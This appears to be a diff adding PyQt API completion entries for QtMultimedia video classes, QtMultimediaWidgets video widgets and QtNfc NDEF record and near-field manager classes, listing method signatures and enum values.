+QtMultimedia.QSoundEffect.play?4() +QtMultimedia.QSoundEffect.stop?4() +QtMultimedia.QVideoDeviceSelectorControl?1(QObject parent=None) +QtMultimedia.QVideoDeviceSelectorControl.__init__?1(self, QObject parent=None) +QtMultimedia.QVideoDeviceSelectorControl.deviceCount?4() -> int +QtMultimedia.QVideoDeviceSelectorControl.deviceName?4(int) -> QString +QtMultimedia.QVideoDeviceSelectorControl.deviceDescription?4(int) -> QString +QtMultimedia.QVideoDeviceSelectorControl.defaultDevice?4() -> int +QtMultimedia.QVideoDeviceSelectorControl.selectedDevice?4() -> int +QtMultimedia.QVideoDeviceSelectorControl.setSelectedDevice?4(int) +QtMultimedia.QVideoDeviceSelectorControl.selectedDeviceChanged?4(int) +QtMultimedia.QVideoDeviceSelectorControl.selectedDeviceChanged?4(QString) +QtMultimedia.QVideoDeviceSelectorControl.devicesChanged?4() +QtMultimedia.QVideoEncoderSettingsControl?1(QObject parent=None) +QtMultimedia.QVideoEncoderSettingsControl.__init__?1(self, QObject parent=None) +QtMultimedia.QVideoEncoderSettingsControl.supportedResolutions?4(QVideoEncoderSettings) -> (unknown-type, bool) +QtMultimedia.QVideoEncoderSettingsControl.supportedFrameRates?4(QVideoEncoderSettings) -> (unknown-type, bool) +QtMultimedia.QVideoEncoderSettingsControl.supportedVideoCodecs?4() -> QStringList +QtMultimedia.QVideoEncoderSettingsControl.videoCodecDescription?4(QString) -> QString +QtMultimedia.QVideoEncoderSettingsControl.videoSettings?4() -> QVideoEncoderSettings +QtMultimedia.QVideoEncoderSettingsControl.setVideoSettings?4(QVideoEncoderSettings) +QtMultimedia.QVideoFrame.PixelFormat?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_Invalid?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_ARGB32?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_ARGB32_Premultiplied?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_RGB32?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_RGB24?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_RGB565?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_RGB555?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_ARGB8565_Premultiplied?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_BGRA32?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_BGRA32_Premultiplied?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_BGR32?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_BGR24?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_BGR565?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_BGR555?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_BGRA5658_Premultiplied?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_AYUV444?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_AYUV444_Premultiplied?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_YUV444?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_YUV420P?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_YV12?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_UYVY?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_YUYV?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_NV12?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_NV21?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_IMC1?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_IMC2?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_IMC3?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_IMC4?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_Y8?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_Y16?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_Jpeg?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_CameraRaw?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_AdobeDng?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_ABGR32?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_YUV422P?10 +QtMultimedia.QVideoFrame.PixelFormat.Format_User?10 +QtMultimedia.QVideoFrame.FieldType?10 +QtMultimedia.QVideoFrame.FieldType.ProgressiveFrame?10 +QtMultimedia.QVideoFrame.FieldType.TopField?10 +QtMultimedia.QVideoFrame.FieldType.BottomField?10 +QtMultimedia.QVideoFrame.FieldType.InterlacedFrame?10 +QtMultimedia.QVideoFrame?1() +QtMultimedia.QVideoFrame.__init__?1(self) +QtMultimedia.QVideoFrame?1(QAbstractVideoBuffer, QSize, QVideoFrame.PixelFormat) +QtMultimedia.QVideoFrame.__init__?1(self, QAbstractVideoBuffer, QSize, QVideoFrame.PixelFormat) +QtMultimedia.QVideoFrame?1(int, QSize, int, QVideoFrame.PixelFormat) +QtMultimedia.QVideoFrame.__init__?1(self, int, QSize, int, QVideoFrame.PixelFormat) +QtMultimedia.QVideoFrame?1(QImage) +QtMultimedia.QVideoFrame.__init__?1(self, QImage) +QtMultimedia.QVideoFrame?1(QVideoFrame) +QtMultimedia.QVideoFrame.__init__?1(self, QVideoFrame) +QtMultimedia.QVideoFrame.isValid?4() -> bool +QtMultimedia.QVideoFrame.pixelFormat?4() -> QVideoFrame.PixelFormat +QtMultimedia.QVideoFrame.handleType?4() -> QAbstractVideoBuffer.HandleType +QtMultimedia.QVideoFrame.size?4() -> QSize +QtMultimedia.QVideoFrame.width?4() -> int +QtMultimedia.QVideoFrame.height?4() -> int +QtMultimedia.QVideoFrame.fieldType?4() -> QVideoFrame.FieldType +QtMultimedia.QVideoFrame.setFieldType?4(QVideoFrame.FieldType) +QtMultimedia.QVideoFrame.isMapped?4() -> bool +QtMultimedia.QVideoFrame.isReadable?4() -> bool +QtMultimedia.QVideoFrame.isWritable?4() -> bool +QtMultimedia.QVideoFrame.mapMode?4() -> QAbstractVideoBuffer.MapMode +QtMultimedia.QVideoFrame.map?4(QAbstractVideoBuffer.MapMode) -> bool +QtMultimedia.QVideoFrame.unmap?4() +QtMultimedia.QVideoFrame.bytesPerLine?4() -> int +QtMultimedia.QVideoFrame.bytesPerLine?4(int) -> int +QtMultimedia.QVideoFrame.bits?4() -> object +QtMultimedia.QVideoFrame.bits?4(int) -> sip.voidptr +QtMultimedia.QVideoFrame.mappedBytes?4() -> int +QtMultimedia.QVideoFrame.handle?4() -> QVariant +QtMultimedia.QVideoFrame.startTime?4() -> int +QtMultimedia.QVideoFrame.setStartTime?4(int) +QtMultimedia.QVideoFrame.endTime?4() -> int +QtMultimedia.QVideoFrame.setEndTime?4(int) +QtMultimedia.QVideoFrame.pixelFormatFromImageFormat?4(QImage.Format) -> QVideoFrame.PixelFormat +QtMultimedia.QVideoFrame.imageFormatFromPixelFormat?4(QVideoFrame.PixelFormat) -> QImage.Format +QtMultimedia.QVideoFrame.availableMetaData?4() -> QVariantMap +QtMultimedia.QVideoFrame.metaData?4(QString) -> QVariant +QtMultimedia.QVideoFrame.setMetaData?4(QString, QVariant) +QtMultimedia.QVideoFrame.planeCount?4() -> int +QtMultimedia.QVideoFrame.buffer?4() -> QAbstractVideoBuffer +QtMultimedia.QVideoFrame.image?4() -> QImage +QtMultimedia.QVideoProbe?1(QObject parent=None) +QtMultimedia.QVideoProbe.__init__?1(self, QObject parent=None) +QtMultimedia.QVideoProbe.setSource?4(QMediaObject) -> bool +QtMultimedia.QVideoProbe.setSource?4(QMediaRecorder) -> bool +QtMultimedia.QVideoProbe.isActive?4() -> bool +QtMultimedia.QVideoProbe.videoFrameProbed?4(QVideoFrame) +QtMultimedia.QVideoProbe.flush?4() +QtMultimedia.QVideoRendererControl?1(QObject parent=None) +QtMultimedia.QVideoRendererControl.__init__?1(self, QObject parent=None) +QtMultimedia.QVideoRendererControl.surface?4() -> QAbstractVideoSurface +QtMultimedia.QVideoRendererControl.setSurface?4(QAbstractVideoSurface) +QtMultimedia.QVideoSurfaceFormat.YCbCrColorSpace?10 +QtMultimedia.QVideoSurfaceFormat.YCbCrColorSpace.YCbCr_Undefined?10 +QtMultimedia.QVideoSurfaceFormat.YCbCrColorSpace.YCbCr_BT601?10 +QtMultimedia.QVideoSurfaceFormat.YCbCrColorSpace.YCbCr_BT709?10 +QtMultimedia.QVideoSurfaceFormat.YCbCrColorSpace.YCbCr_xvYCC601?10 +QtMultimedia.QVideoSurfaceFormat.YCbCrColorSpace.YCbCr_xvYCC709?10 +QtMultimedia.QVideoSurfaceFormat.YCbCrColorSpace.YCbCr_JPEG?10 +QtMultimedia.QVideoSurfaceFormat.Direction?10 +QtMultimedia.QVideoSurfaceFormat.Direction.TopToBottom?10 +QtMultimedia.QVideoSurfaceFormat.Direction.BottomToTop?10 +QtMultimedia.QVideoSurfaceFormat?1() +QtMultimedia.QVideoSurfaceFormat.__init__?1(self) +QtMultimedia.QVideoSurfaceFormat?1(QSize, QVideoFrame.PixelFormat, QAbstractVideoBuffer.HandleType type=QAbstractVideoBuffer.NoHandle) +QtMultimedia.QVideoSurfaceFormat.__init__?1(self, QSize, QVideoFrame.PixelFormat, QAbstractVideoBuffer.HandleType type=QAbstractVideoBuffer.NoHandle) +QtMultimedia.QVideoSurfaceFormat?1(QVideoSurfaceFormat) +QtMultimedia.QVideoSurfaceFormat.__init__?1(self, QVideoSurfaceFormat) +QtMultimedia.QVideoSurfaceFormat.isValid?4() -> bool +QtMultimedia.QVideoSurfaceFormat.pixelFormat?4() -> QVideoFrame.PixelFormat +QtMultimedia.QVideoSurfaceFormat.handleType?4() -> QAbstractVideoBuffer.HandleType +QtMultimedia.QVideoSurfaceFormat.frameSize?4() -> QSize +QtMultimedia.QVideoSurfaceFormat.setFrameSize?4(QSize) +QtMultimedia.QVideoSurfaceFormat.setFrameSize?4(int, int) +QtMultimedia.QVideoSurfaceFormat.frameWidth?4() -> int +QtMultimedia.QVideoSurfaceFormat.frameHeight?4() -> int +QtMultimedia.QVideoSurfaceFormat.viewport?4() -> QRect +QtMultimedia.QVideoSurfaceFormat.setViewport?4(QRect) +QtMultimedia.QVideoSurfaceFormat.scanLineDirection?4() -> QVideoSurfaceFormat.Direction +QtMultimedia.QVideoSurfaceFormat.setScanLineDirection?4(QVideoSurfaceFormat.Direction) +QtMultimedia.QVideoSurfaceFormat.frameRate?4() -> float +QtMultimedia.QVideoSurfaceFormat.setFrameRate?4(float) +QtMultimedia.QVideoSurfaceFormat.pixelAspectRatio?4() -> QSize +QtMultimedia.QVideoSurfaceFormat.setPixelAspectRatio?4(QSize) +QtMultimedia.QVideoSurfaceFormat.setPixelAspectRatio?4(int, int) +QtMultimedia.QVideoSurfaceFormat.yCbCrColorSpace?4() -> QVideoSurfaceFormat.YCbCrColorSpace +QtMultimedia.QVideoSurfaceFormat.setYCbCrColorSpace?4(QVideoSurfaceFormat.YCbCrColorSpace) +QtMultimedia.QVideoSurfaceFormat.sizeHint?4() -> QSize +QtMultimedia.QVideoSurfaceFormat.propertyNames?4() -> unknown-type +QtMultimedia.QVideoSurfaceFormat.property?4(str) -> QVariant +QtMultimedia.QVideoSurfaceFormat.setProperty?4(str, QVariant) +QtMultimedia.QVideoSurfaceFormat.isMirrored?4() -> bool +QtMultimedia.QVideoSurfaceFormat.setMirrored?4(bool) +QtMultimedia.QVideoWindowControl?1(QObject parent=None) +QtMultimedia.QVideoWindowControl.__init__?1(self, QObject parent=None) +QtMultimedia.QVideoWindowControl.winId?4() -> quintptr +QtMultimedia.QVideoWindowControl.setWinId?4(quintptr) +QtMultimedia.QVideoWindowControl.displayRect?4() -> QRect +QtMultimedia.QVideoWindowControl.setDisplayRect?4(QRect) +QtMultimedia.QVideoWindowControl.isFullScreen?4() -> bool +QtMultimedia.QVideoWindowControl.setFullScreen?4(bool) +QtMultimedia.QVideoWindowControl.repaint?4() +QtMultimedia.QVideoWindowControl.nativeSize?4() -> QSize +QtMultimedia.QVideoWindowControl.aspectRatioMode?4() -> Qt.AspectRatioMode +QtMultimedia.QVideoWindowControl.setAspectRatioMode?4(Qt.AspectRatioMode) +QtMultimedia.QVideoWindowControl.brightness?4() -> int +QtMultimedia.QVideoWindowControl.setBrightness?4(int) +QtMultimedia.QVideoWindowControl.contrast?4() -> int +QtMultimedia.QVideoWindowControl.setContrast?4(int) +QtMultimedia.QVideoWindowControl.hue?4() -> int +QtMultimedia.QVideoWindowControl.setHue?4(int) +QtMultimedia.QVideoWindowControl.saturation?4() -> int +QtMultimedia.QVideoWindowControl.setSaturation?4(int) +QtMultimedia.QVideoWindowControl.fullScreenChanged?4(bool) +QtMultimedia.QVideoWindowControl.brightnessChanged?4(int) +QtMultimedia.QVideoWindowControl.contrastChanged?4(int) +QtMultimedia.QVideoWindowControl.hueChanged?4(int) +QtMultimedia.QVideoWindowControl.saturationChanged?4(int) +QtMultimedia.QVideoWindowControl.nativeSizeChanged?4() +QtMultimediaWidgets.QVideoWidget?1(QWidget parent=None) +QtMultimediaWidgets.QVideoWidget.__init__?1(self, QWidget parent=None) +QtMultimediaWidgets.QVideoWidget.mediaObject?4() -> QMediaObject +QtMultimediaWidgets.QVideoWidget.aspectRatioMode?4() -> Qt.AspectRatioMode +QtMultimediaWidgets.QVideoWidget.brightness?4() -> int +QtMultimediaWidgets.QVideoWidget.contrast?4() -> int +QtMultimediaWidgets.QVideoWidget.hue?4() -> int +QtMultimediaWidgets.QVideoWidget.saturation?4() -> int +QtMultimediaWidgets.QVideoWidget.sizeHint?4() -> QSize +QtMultimediaWidgets.QVideoWidget.setFullScreen?4(bool) +QtMultimediaWidgets.QVideoWidget.setAspectRatioMode?4(Qt.AspectRatioMode) +QtMultimediaWidgets.QVideoWidget.setBrightness?4(int) +QtMultimediaWidgets.QVideoWidget.setContrast?4(int) +QtMultimediaWidgets.QVideoWidget.setHue?4(int) +QtMultimediaWidgets.QVideoWidget.setSaturation?4(int) +QtMultimediaWidgets.QVideoWidget.fullScreenChanged?4(bool) +QtMultimediaWidgets.QVideoWidget.brightnessChanged?4(int) +QtMultimediaWidgets.QVideoWidget.contrastChanged?4(int) +QtMultimediaWidgets.QVideoWidget.hueChanged?4(int) +QtMultimediaWidgets.QVideoWidget.saturationChanged?4(int) +QtMultimediaWidgets.QVideoWidget.event?4(QEvent) -> bool +QtMultimediaWidgets.QVideoWidget.showEvent?4(QShowEvent) +QtMultimediaWidgets.QVideoWidget.hideEvent?4(QHideEvent) +QtMultimediaWidgets.QVideoWidget.resizeEvent?4(QResizeEvent) +QtMultimediaWidgets.QVideoWidget.moveEvent?4(QMoveEvent) +QtMultimediaWidgets.QVideoWidget.paintEvent?4(QPaintEvent) +QtMultimediaWidgets.QVideoWidget.setMediaObject?4(QMediaObject) -> bool +QtMultimediaWidgets.QVideoWidget.videoSurface?4() -> QAbstractVideoSurface +QtMultimediaWidgets.QCameraViewfinder?1(QWidget parent=None) +QtMultimediaWidgets.QCameraViewfinder.__init__?1(self, QWidget parent=None) +QtMultimediaWidgets.QCameraViewfinder.mediaObject?4() -> QMediaObject +QtMultimediaWidgets.QCameraViewfinder.setMediaObject?4(QMediaObject) -> bool +QtMultimediaWidgets.QGraphicsVideoItem?1(QGraphicsItem parent=None) +QtMultimediaWidgets.QGraphicsVideoItem.__init__?1(self, QGraphicsItem parent=None) +QtMultimediaWidgets.QGraphicsVideoItem.mediaObject?4() -> QMediaObject +QtMultimediaWidgets.QGraphicsVideoItem.aspectRatioMode?4() -> Qt.AspectRatioMode +QtMultimediaWidgets.QGraphicsVideoItem.setAspectRatioMode?4(Qt.AspectRatioMode) +QtMultimediaWidgets.QGraphicsVideoItem.offset?4() -> QPointF +QtMultimediaWidgets.QGraphicsVideoItem.setOffset?4(QPointF) +QtMultimediaWidgets.QGraphicsVideoItem.size?4() -> QSizeF +QtMultimediaWidgets.QGraphicsVideoItem.setSize?4(QSizeF) +QtMultimediaWidgets.QGraphicsVideoItem.nativeSize?4() -> QSizeF +QtMultimediaWidgets.QGraphicsVideoItem.boundingRect?4() -> QRectF +QtMultimediaWidgets.QGraphicsVideoItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtMultimediaWidgets.QGraphicsVideoItem.nativeSizeChanged?4(QSizeF) +QtMultimediaWidgets.QGraphicsVideoItem.timerEvent?4(QTimerEvent) +QtMultimediaWidgets.QGraphicsVideoItem.itemChange?4(QGraphicsItem.GraphicsItemChange, QVariant) -> QVariant +QtMultimediaWidgets.QGraphicsVideoItem.setMediaObject?4(QMediaObject) -> bool +QtMultimediaWidgets.QGraphicsVideoItem.videoSurface?4() -> QAbstractVideoSurface +QtMultimediaWidgets.QVideoWidgetControl?1(QObject parent=None) +QtMultimediaWidgets.QVideoWidgetControl.__init__?1(self, QObject parent=None) +QtMultimediaWidgets.QVideoWidgetControl.videoWidget?4() -> QWidget +QtMultimediaWidgets.QVideoWidgetControl.aspectRatioMode?4() -> Qt.AspectRatioMode +QtMultimediaWidgets.QVideoWidgetControl.setAspectRatioMode?4(Qt.AspectRatioMode) +QtMultimediaWidgets.QVideoWidgetControl.isFullScreen?4() -> bool +QtMultimediaWidgets.QVideoWidgetControl.setFullScreen?4(bool) +QtMultimediaWidgets.QVideoWidgetControl.brightness?4() -> int +QtMultimediaWidgets.QVideoWidgetControl.setBrightness?4(int) +QtMultimediaWidgets.QVideoWidgetControl.contrast?4() -> int +QtMultimediaWidgets.QVideoWidgetControl.setContrast?4(int) +QtMultimediaWidgets.QVideoWidgetControl.hue?4() -> int +QtMultimediaWidgets.QVideoWidgetControl.setHue?4(int) +QtMultimediaWidgets.QVideoWidgetControl.saturation?4() -> int +QtMultimediaWidgets.QVideoWidgetControl.setSaturation?4(int) +QtMultimediaWidgets.QVideoWidgetControl.fullScreenChanged?4(bool) +QtMultimediaWidgets.QVideoWidgetControl.brightnessChanged?4(int) +QtMultimediaWidgets.QVideoWidgetControl.contrastChanged?4(int) +QtMultimediaWidgets.QVideoWidgetControl.hueChanged?4(int) +QtMultimediaWidgets.QVideoWidgetControl.saturationChanged?4(int) +QtNfc.QNdefFilter?1() +QtNfc.QNdefFilter.__init__?1(self) +QtNfc.QNdefFilter?1(QNdefFilter) +QtNfc.QNdefFilter.__init__?1(self, QNdefFilter) +QtNfc.QNdefFilter.clear?4() +QtNfc.QNdefFilter.setOrderMatch?4(bool) +QtNfc.QNdefFilter.orderMatch?4() -> bool +QtNfc.QNdefFilter.appendRecord?4(QNdefRecord.TypeNameFormat, QByteArray, int min=1, int max=1) +QtNfc.QNdefFilter.appendRecord?4(QNdefFilter.Record) +QtNfc.QNdefFilter.recordCount?4() -> int +QtNfc.QNdefFilter.recordAt?4(int) -> QNdefFilter.Record +QtNfc.QNdefFilter.Record.maximum?7 +QtNfc.QNdefFilter.Record.minimum?7 +QtNfc.QNdefFilter.Record.type?7 +QtNfc.QNdefFilter.Record.typeNameFormat?7 +QtNfc.QNdefFilter.Record?1() +QtNfc.QNdefFilter.Record.__init__?1(self) +QtNfc.QNdefFilter.Record?1(QNdefFilter.Record) +QtNfc.QNdefFilter.Record.__init__?1(self, QNdefFilter.Record) +QtNfc.QNdefMessage?1() +QtNfc.QNdefMessage.__init__?1(self) +QtNfc.QNdefMessage?1(QNdefRecord) +QtNfc.QNdefMessage.__init__?1(self, QNdefRecord) +QtNfc.QNdefMessage?1(QNdefMessage) +QtNfc.QNdefMessage.__init__?1(self, QNdefMessage) +QtNfc.QNdefMessage?1(unknown-type) +QtNfc.QNdefMessage.__init__?1(self, unknown-type) +QtNfc.QNdefMessage.toByteArray?4() -> QByteArray +QtNfc.QNdefMessage.fromByteArray?4(QByteArray) -> QNdefMessage +QtNfc.QNdefRecord.TypeNameFormat?10 +QtNfc.QNdefRecord.TypeNameFormat.Empty?10 +QtNfc.QNdefRecord.TypeNameFormat.NfcRtd?10 +QtNfc.QNdefRecord.TypeNameFormat.Mime?10 +QtNfc.QNdefRecord.TypeNameFormat.Uri?10 +QtNfc.QNdefRecord.TypeNameFormat.ExternalRtd?10 +QtNfc.QNdefRecord.TypeNameFormat.Unknown?10 +QtNfc.QNdefRecord?1() +QtNfc.QNdefRecord.__init__?1(self) +QtNfc.QNdefRecord?1(QNdefRecord) +QtNfc.QNdefRecord.__init__?1(self, QNdefRecord) +QtNfc.QNdefRecord.setTypeNameFormat?4(QNdefRecord.TypeNameFormat) +QtNfc.QNdefRecord.typeNameFormat?4() -> QNdefRecord.TypeNameFormat +QtNfc.QNdefRecord.setType?4(QByteArray) +QtNfc.QNdefRecord.type?4() -> QByteArray +QtNfc.QNdefRecord.setId?4(QByteArray) +QtNfc.QNdefRecord.id?4() -> QByteArray +QtNfc.QNdefRecord.setPayload?4(QByteArray) +QtNfc.QNdefRecord.payload?4() -> QByteArray +QtNfc.QNdefRecord.isEmpty?4() -> bool +QtNfc.QNdefNfcIconRecord?1() +QtNfc.QNdefNfcIconRecord.__init__?1(self) +QtNfc.QNdefNfcIconRecord?1(QNdefRecord) +QtNfc.QNdefNfcIconRecord.__init__?1(self, QNdefRecord) +QtNfc.QNdefNfcIconRecord?1(QNdefNfcIconRecord) +QtNfc.QNdefNfcIconRecord.__init__?1(self, QNdefNfcIconRecord) +QtNfc.QNdefNfcIconRecord.setData?4(QByteArray) +QtNfc.QNdefNfcIconRecord.data?4() -> QByteArray +QtNfc.QNdefNfcSmartPosterRecord.Action?10 +QtNfc.QNdefNfcSmartPosterRecord.Action.UnspecifiedAction?10 +QtNfc.QNdefNfcSmartPosterRecord.Action.DoAction?10 +QtNfc.QNdefNfcSmartPosterRecord.Action.SaveAction?10 +QtNfc.QNdefNfcSmartPosterRecord.Action.EditAction?10 +QtNfc.QNdefNfcSmartPosterRecord?1() +QtNfc.QNdefNfcSmartPosterRecord.__init__?1(self) +QtNfc.QNdefNfcSmartPosterRecord?1(QNdefNfcSmartPosterRecord) +QtNfc.QNdefNfcSmartPosterRecord.__init__?1(self, QNdefNfcSmartPosterRecord) +QtNfc.QNdefNfcSmartPosterRecord?1(QNdefRecord) +QtNfc.QNdefNfcSmartPosterRecord.__init__?1(self, QNdefRecord) +QtNfc.QNdefNfcSmartPosterRecord.setPayload?4(QByteArray) +QtNfc.QNdefNfcSmartPosterRecord.hasTitle?4(QString locale='') -> bool +QtNfc.QNdefNfcSmartPosterRecord.hasAction?4() -> bool +QtNfc.QNdefNfcSmartPosterRecord.hasIcon?4(QByteArray mimetype=QByteArray()) -> bool +QtNfc.QNdefNfcSmartPosterRecord.hasSize?4() -> bool +QtNfc.QNdefNfcSmartPosterRecord.hasTypeInfo?4() -> bool +QtNfc.QNdefNfcSmartPosterRecord.titleCount?4() -> int +QtNfc.QNdefNfcSmartPosterRecord.title?4(QString locale='') -> QString +QtNfc.QNdefNfcSmartPosterRecord.titleRecord?4(int) -> QNdefNfcTextRecord +QtNfc.QNdefNfcSmartPosterRecord.titleRecords?4() -> unknown-type +QtNfc.QNdefNfcSmartPosterRecord.addTitle?4(QNdefNfcTextRecord) -> bool +QtNfc.QNdefNfcSmartPosterRecord.addTitle?4(QString, QString, QNdefNfcTextRecord.Encoding) -> bool +QtNfc.QNdefNfcSmartPosterRecord.removeTitle?4(QNdefNfcTextRecord) -> bool +QtNfc.QNdefNfcSmartPosterRecord.removeTitle?4(QString) -> bool +QtNfc.QNdefNfcSmartPosterRecord.setTitles?4(unknown-type) +QtNfc.QNdefNfcSmartPosterRecord.uri?4() -> QUrl +QtNfc.QNdefNfcSmartPosterRecord.uriRecord?4() -> QNdefNfcUriRecord +QtNfc.QNdefNfcSmartPosterRecord.setUri?4(QNdefNfcUriRecord) +QtNfc.QNdefNfcSmartPosterRecord.setUri?4(QUrl) +QtNfc.QNdefNfcSmartPosterRecord.action?4() -> QNdefNfcSmartPosterRecord.Action +QtNfc.QNdefNfcSmartPosterRecord.setAction?4(QNdefNfcSmartPosterRecord.Action) +QtNfc.QNdefNfcSmartPosterRecord.iconCount?4() -> int +QtNfc.QNdefNfcSmartPosterRecord.icon?4(QByteArray mimetype=QByteArray()) -> QByteArray +QtNfc.QNdefNfcSmartPosterRecord.iconRecord?4(int) -> QNdefNfcIconRecord +QtNfc.QNdefNfcSmartPosterRecord.iconRecords?4() -> unknown-type +QtNfc.QNdefNfcSmartPosterRecord.addIcon?4(QNdefNfcIconRecord) +QtNfc.QNdefNfcSmartPosterRecord.addIcon?4(QByteArray, QByteArray) +QtNfc.QNdefNfcSmartPosterRecord.removeIcon?4(QNdefNfcIconRecord) -> bool +QtNfc.QNdefNfcSmartPosterRecord.removeIcon?4(QByteArray) -> bool +QtNfc.QNdefNfcSmartPosterRecord.setIcons?4(unknown-type) +QtNfc.QNdefNfcSmartPosterRecord.size?4() -> int +QtNfc.QNdefNfcSmartPosterRecord.setSize?4(int) +QtNfc.QNdefNfcSmartPosterRecord.typeInfo?4() -> QByteArray +QtNfc.QNdefNfcSmartPosterRecord.setTypeInfo?4(QByteArray) +QtNfc.QNdefNfcTextRecord.Encoding?10 +QtNfc.QNdefNfcTextRecord.Encoding.Utf8?10 +QtNfc.QNdefNfcTextRecord.Encoding.Utf16?10 +QtNfc.QNdefNfcTextRecord?1() +QtNfc.QNdefNfcTextRecord.__init__?1(self) +QtNfc.QNdefNfcTextRecord?1(QNdefRecord) +QtNfc.QNdefNfcTextRecord.__init__?1(self, QNdefRecord) +QtNfc.QNdefNfcTextRecord?1(QNdefNfcTextRecord) +QtNfc.QNdefNfcTextRecord.__init__?1(self, QNdefNfcTextRecord) +QtNfc.QNdefNfcTextRecord.locale?4() -> QString +QtNfc.QNdefNfcTextRecord.setLocale?4(QString) +QtNfc.QNdefNfcTextRecord.text?4() -> QString +QtNfc.QNdefNfcTextRecord.setText?4(QString) +QtNfc.QNdefNfcTextRecord.encoding?4() -> QNdefNfcTextRecord.Encoding +QtNfc.QNdefNfcTextRecord.setEncoding?4(QNdefNfcTextRecord.Encoding) +QtNfc.QNdefNfcUriRecord?1() +QtNfc.QNdefNfcUriRecord.__init__?1(self) +QtNfc.QNdefNfcUriRecord?1(QNdefRecord) +QtNfc.QNdefNfcUriRecord.__init__?1(self, QNdefRecord) +QtNfc.QNdefNfcUriRecord?1(QNdefNfcUriRecord) +QtNfc.QNdefNfcUriRecord.__init__?1(self, QNdefNfcUriRecord) +QtNfc.QNdefNfcUriRecord.uri?4() -> QUrl +QtNfc.QNdefNfcUriRecord.setUri?4(QUrl) +QtNfc.QNearFieldManager.AdapterState?10 +QtNfc.QNearFieldManager.AdapterState.Offline?10 +QtNfc.QNearFieldManager.AdapterState.TurningOn?10 +QtNfc.QNearFieldManager.AdapterState.Online?10 +QtNfc.QNearFieldManager.AdapterState.TurningOff?10 +QtNfc.QNearFieldManager.TargetAccessMode?10 +QtNfc.QNearFieldManager.TargetAccessMode.NoTargetAccess?10 +QtNfc.QNearFieldManager.TargetAccessMode.NdefReadTargetAccess?10 +QtNfc.QNearFieldManager.TargetAccessMode.NdefWriteTargetAccess?10 +QtNfc.QNearFieldManager.TargetAccessMode.TagTypeSpecificTargetAccess?10 +QtNfc.QNearFieldManager?1(QObject parent=None) +QtNfc.QNearFieldManager.__init__?1(self, QObject parent=None) +QtNfc.QNearFieldManager.isAvailable?4() -> bool +QtNfc.QNearFieldManager.setTargetAccessModes?4(QNearFieldManager.TargetAccessModes) +QtNfc.QNearFieldManager.targetAccessModes?4() -> QNearFieldManager.TargetAccessModes +QtNfc.QNearFieldManager.startTargetDetection?4() -> bool +QtNfc.QNearFieldManager.stopTargetDetection?4() +QtNfc.QNearFieldManager.registerNdefMessageHandler?4(object) -> int +QtNfc.QNearFieldManager.registerNdefMessageHandler?4(QNdefRecord.TypeNameFormat, QByteArray, object) -> int +QtNfc.QNearFieldManager.registerNdefMessageHandler?4(QNdefFilter, object) -> int +QtNfc.QNearFieldManager.unregisterNdefMessageHandler?4(int) -> bool +QtNfc.QNearFieldManager.targetDetected?4(QNearFieldTarget) +QtNfc.QNearFieldManager.targetLost?4(QNearFieldTarget) +QtNfc.QNearFieldManager.isSupported?4() -> bool +QtNfc.QNearFieldManager.adapterStateChanged?4(QNearFieldManager.AdapterState) +QtNfc.QNearFieldManager.TargetAccessModes?1() +QtNfc.QNearFieldManager.TargetAccessModes.__init__?1(self) +QtNfc.QNearFieldManager.TargetAccessModes?1(int) +QtNfc.QNearFieldManager.TargetAccessModes.__init__?1(self, int) +QtNfc.QNearFieldManager.TargetAccessModes?1(QNearFieldManager.TargetAccessModes) +QtNfc.QNearFieldManager.TargetAccessModes.__init__?1(self, QNearFieldManager.TargetAccessModes) +QtNfc.QNearFieldShareManager.ShareMode?10 +QtNfc.QNearFieldShareManager.ShareMode.NoShare?10 +QtNfc.QNearFieldShareManager.ShareMode.NdefShare?10 +QtNfc.QNearFieldShareManager.ShareMode.FileShare?10 +QtNfc.QNearFieldShareManager.ShareError?10 +QtNfc.QNearFieldShareManager.ShareError.NoError?10 +QtNfc.QNearFieldShareManager.ShareError.UnknownError?10 +QtNfc.QNearFieldShareManager.ShareError.InvalidShareContentError?10 +QtNfc.QNearFieldShareManager.ShareError.ShareCanceledError?10 +QtNfc.QNearFieldShareManager.ShareError.ShareInterruptedError?10 +QtNfc.QNearFieldShareManager.ShareError.ShareRejectedError?10 +QtNfc.QNearFieldShareManager.ShareError.UnsupportedShareModeError?10 +QtNfc.QNearFieldShareManager.ShareError.ShareAlreadyInProgressError?10 +QtNfc.QNearFieldShareManager.ShareError.SharePermissionDeniedError?10 +QtNfc.QNearFieldShareManager?1(QObject parent=None) +QtNfc.QNearFieldShareManager.__init__?1(self, QObject parent=None) +QtNfc.QNearFieldShareManager.supportedShareModes?4() -> QNearFieldShareManager.ShareModes +QtNfc.QNearFieldShareManager.setShareModes?4(QNearFieldShareManager.ShareModes) 